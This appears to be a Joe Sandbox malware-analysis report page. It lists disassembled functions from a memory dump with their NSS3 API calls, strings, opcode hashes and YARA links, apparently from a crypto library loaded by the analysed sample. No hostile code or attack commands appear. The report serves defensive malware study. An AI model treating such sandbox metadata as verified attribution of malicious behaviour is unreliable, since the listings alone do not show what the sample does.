Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: f7d355477f1de94790eabec8e1f6755b4c9e4ed9ec505438a20873a8dd6426f4
Instruction ID: c6754e0a0b118c110d1ef6c5229b4288ba27583fb842c853fd95940440239314
Opcode Fuzzy Hash: f7d355477f1de94790eabec8e1f6755b4c9e4ed9ec505438a20873a8dd6426f4
Instruction Fuzzy Hash: A65108B2D00215AFE7009F68CC85A6FB779EF45358B1A452AEC189B700E731FD408BE1

Function 6CFFCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CFFCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CFFCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CFFCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CFFCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CFFCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CFFCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CFFCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CFFCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CFFCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CFFCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CFFCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CFFCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CFFCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CFFD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CFFD021

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 8a8a795a3fcb61dbb24a2feda9ad09ee997e6ecdfd15562e1a2322edbac19530
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: B031477175A91027FF1D54A65D22B9E148A8B6730EF450038FA0AF73C1F6C5961703ED

Function 6D0D0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6D0D1000

Part of subcall function 6D089BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFB1A48), ref: 6D089BB3
Part of subcall function 6D089BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFB1A48), ref: 6D089BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D0D1016

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_Unlock.NSS3(?), ref: 6D0D1021

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0D1046
PR_Unlock.NSS3(?), ref: 6D0D106B
PR_Lock.NSS3 ref: 6D0D1079
PR_Unlock.NSS3 ref: 6D0D1096
free.MOZGLUE(?), ref: 6D0D10A7
free.MOZGLUE(?), ref: 6D0D10B4
PR_DestroyCondVar.NSS3(?), ref: 6D0D10BF
PR_DestroyCondVar.NSS3(?), ref: 6D0D10CA
PR_DestroyCondVar.NSS3(?), ref: 6D0D10D5
PR_DestroyCondVar.NSS3(?), ref: 6D0D10E0
PR_DestroyLock.NSS3(?), ref: 6D0D10EB
free.MOZGLUE(?), ref: 6D0D1105

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 80e351c405397af7015ac0304f14b66bf8be833e182015361d8e1b4d2e83d65a
Instruction ID: 43b615bbe0d780117fda382223478b85bab84911df14eb4413f87569cdeacf6d
Opcode Fuzzy Hash: 80e351c405397af7015ac0304f14b66bf8be833e182015361d8e1b4d2e83d65a
Instruction Fuzzy Hash: 3B318FB5904542ABEB01AF15FD41B09BBB2FF05318B184131D80913A61E7B2F9B4DBD2

Function 6CFE5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFE5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CFE5EE3
PR_Unlock.NSS3(?), ref: 6CFE5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CFE5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CFE61F4

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 560a2a2dc2c47b4a4df378119c5f209e63ba0ce30dd656f68809484ef72913c7
Instruction ID: 0113ab1742bbe1c5ab39a4aa5a7f706c8de5d7790cc3daa46046512a03cd7eef
Opcode Fuzzy Hash: 560a2a2dc2c47b4a4df378119c5f209e63ba0ce30dd656f68809484ef72913c7
Instruction Fuzzy Hash: A9F106B5A002199FEB44CF18C984B86BBF4FF49304F5581AAED089B346D774EA84CF91

Function 6CF4DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF4DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CF4DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF4DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CF4DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF4DF6D, 6CF4DFCC, 6CF4DFDD
%s at line %d of [%.10s], xrefs: 6CF4DF7C, 6CF4DFEC
database corruption, xrefs: 6CF4DF77, 6CF4DFE7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: a2449207384a617a4746d963f79ba320179d925dff7bf6a89c575436907e44ea
Instruction ID: 369db6ccda321d2d291690657672c1a1b333a7a3f7bf683580aa8b566229a643
Opcode Fuzzy Hash: a2449207384a617a4746d963f79ba320179d925dff7bf6a89c575436907e44ea
Instruction Fuzzy Hash: 9EA1C071A083019FD714DF29C880B6BBBF5AF85318F15C96DE8898BB52E770E845CB91

Function 6D00EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6D00EE0B

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D00EEE1

Part of subcall function 6D001D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6D001D7E
Part of subcall function 6D001D50: EnterCriticalSection.KERNEL32(?), ref: 6D001D8E
Part of subcall function 6D001D50: PR_Unlock.NSS3(?), ref: 6D001DD3

TlsGetValue.KERNEL32 ref: 6D00EE51
EnterCriticalSection.KERNEL32(?), ref: 6D00EE65
PR_Unlock.NSS3(?), ref: 6D00EEA2
free.MOZGLUE(?), ref: 6D00EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6D00EED0
PR_Unlock.NSS3(?), ref: 6D00EF48
free.MOZGLUE(?), ref: 6D00EF68
PR_SetError.NSS3(00000000,00000000), ref: 6D00EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6D00EFA4
free.MOZGLUE(?), ref: 6D00EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D00F055
free.MOZGLUE(?), ref: 6D00F060

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 0b602a9b5eb5282af9a53b23ed1be8c20be78a2251830682f9f01b69705785ef
Instruction ID: a4f6bf607f66a7e7b00ac7cecaa50cbecca959265282aec2a1fc70ab92b5515e
Opcode Fuzzy Hash: 0b602a9b5eb5282af9a53b23ed1be8c20be78a2251830682f9f01b69705785ef
Instruction Fuzzy Hash: A18172B5A04209ABFF01DFA5EC45BEE7BB5BF08314F454024EE19A3211E771E954CBA1

Function 6CFD4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CFD4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CFD4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CFD4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CFD4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CFD4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CFD4E85
DER_Encode_Util.NSS3(?,?,6D1205A4,00000000), ref: 6CFD4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CFD4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CFD4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFD4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD4FC8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 38bb987c7c836c5934a5fb3093ab2eae061d22ac5378a51dd2a01aa1dd88932b
Instruction ID: 9d708d9eacafedabbf2768869fde31e10e6be17d4579bdfcc908edd1cb4caef7
Opcode Fuzzy Hash: 38bb987c7c836c5934a5fb3093ab2eae061d22ac5378a51dd2a01aa1dd88932b
Instruction Fuzzy Hash: 59819372908301AFE701CF65DC80B5BBBE4AB88358F1A852DF958DB651E771E904CB92

Function 6D015C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6D015C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6D015CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6D015CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6D015D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6D015D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D015D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D015E18
TlsGetValue.KERNEL32 ref: 6D015E5E
EnterCriticalSection.KERNEL32(?), ref: 6D015E72
PR_Unlock.NSS3(?), ref: 6D015E8B

Part of subcall function 6D00F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D00F854
Part of subcall function 6D00F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D00F868
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D00F882
Part of subcall function 6D00F820: free.MOZGLUE(04C483FF,?,?), ref: 6D00F889
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D00F8A4
Part of subcall function 6D00F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D00F8AB
Part of subcall function 6D00F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D00F8C9
Part of subcall function 6D00F820: free.MOZGLUE(280F10EC,?,?), ref: 6D00F8D0

Strings

d, xrefs: 6D015C36
tokens=[0x%x=<%s>], xrefs: 6D015D3D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 201e75e28469fada6e6ee8e21b1c506e3238c7a1f7995553b07b0de615d69c25
Instruction ID: 0ef15d285f0608d19937f060e89fc5bd2ce51ee6cfde1afa3c94cf5b52203a6d
Opcode Fuzzy Hash: 201e75e28469fada6e6ee8e21b1c506e3238c7a1f7995553b07b0de615d69c25
Instruction Fuzzy Hash: A171E4B8E08102ABFB159FA4EC4977E36B9BF45318F444034ED099F242EB72E955C792

Function 6D008F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D009582), ref: 6D008F5B

Part of subcall function 6D01BE30: SECOID_FindOID_Util.NSS3(6CFD311B,00000000,?,6CFD311B,?), ref: 6D01BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6D008F6A

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D008FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6D008FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0ED820,6D009576), ref: 6D008FF9
DER_GetInteger_Util.NSS3(?), ref: 6D00901D
PORT_ZAlloc_Util.NSS3(?), ref: 6D00903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D009062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6D0090A2
PORT_ZAlloc_Util.NSS3(?), ref: 6D0090CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6D0090F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D00912D
free.MOZGLUE(00000000), ref: 6D009136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6D009145

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3c6921039086a2edf7671d8951136dc4c925d3919683314b32f192f41bd19695
Instruction ID: 922aa8e1f0e4d2bd29853fbe51b8ae59ba63eb701d1cbfee60c1f0e9e82a246d
Opcode Fuzzy Hash: 3c6921039086a2edf7671d8951136dc4c925d3919683314b32f192f41bd19695
Instruction Fuzzy Hash: 1751B1B1A08301ABF700CF29AC81BABB7E5FF98314F098529E95597341E731E945CB92

Function 6CFFADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CFFADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFFAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFFAE29

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFFAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFFAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFFAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CFFAEA0

Strings

C_MessageSignInit, xrefs: 6CFFADE1
(CK_INVALID_HANDLE), xrefs: 6CFFAE1F, 6CFFAE80
nm, xrefs: 6CFFAEB8, 6CFFAEE6
hKey = 0x%x, xrefs: 6CFFAE62, 6CFFAE72
hSession = 0x%x, xrefs: 6CFFAE01, 6CFFAE11

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nm
API String ID: 332880674-254824515
Opcode ID: 84eb9202cf6fe13b25a8b975150998e97f9d851382043682340dd2401d626e9b
Instruction ID: 736610e610a0f0541dcf96d03533be06dc299832d724b3854be5404a1fdbb615
Opcode Fuzzy Hash: 84eb9202cf6fe13b25a8b975150998e97f9d851382043682340dd2401d626e9b
Instruction Fuzzy Hash: 47312372500304BFEB008F15EC85FAF37B5EB82308F454029F91CAB262DBB19845CBA2

Function 6CFF9EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CFF9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF9F49

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFF9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CFF9FC0

Strings

(CK_INVALID_HANDLE), xrefs: 6CFF9F3F, 6CFF9FA0
nm, xrefs: 6CFF9FD8, 6CFFA006
hKey = 0x%x, xrefs: 6CFF9F82, 6CFF9F92
C_MessageEncryptInit, xrefs: 6CFF9F01
hSession = 0x%x, xrefs: 6CFF9F21, 6CFF9F31

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nm
API String ID: 332880674-595497047
Opcode ID: 81ca58a00520b39ca8935778a25c3001041a6912986455b363e40c9d411d463b
Instruction ID: 0bdb9bfc46422f94fd030d724d0c644a121fe58a18f1c8dbe7891fe89115ae84
Opcode Fuzzy Hash: 81ca58a00520b39ca8935778a25c3001041a6912986455b363e40c9d411d463b
Instruction Fuzzy Hash: B731F371505304AFFB009F54EC85FAE37B5EB42318F054029F51C676A2DBB59A85CBA2

Function 6CFF2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CFF2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF2E33

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFF2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFF2E81

Strings

C_InitPIN, xrefs: 6CFF2DF1
ulPinLen = %d, xrefs: 6CFF2E7C
(CK_INVALID_HANDLE), xrefs: 6CFF2E2C
nm, xrefs: 6CFF2E99, 6CFF2EC4
pPin = 0x%p, xrefs: 6CFF2E63
hSession = 0x%x, xrefs: 6CFF2E0E, 6CFF2E1E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nm
API String ID: 1003633598-2367922981
Opcode ID: 221cdb45d0082c799395bc72251c15960cffbdf4dc19419dcd515812d4d95ef9
Instruction ID: c6dfe27387113ae16663f2216e4405a420dc7dc7307446f7f0424bb2f2b3b87a
Opcode Fuzzy Hash: 221cdb45d0082c799395bc72251c15960cffbdf4dc19419dcd515812d4d95ef9
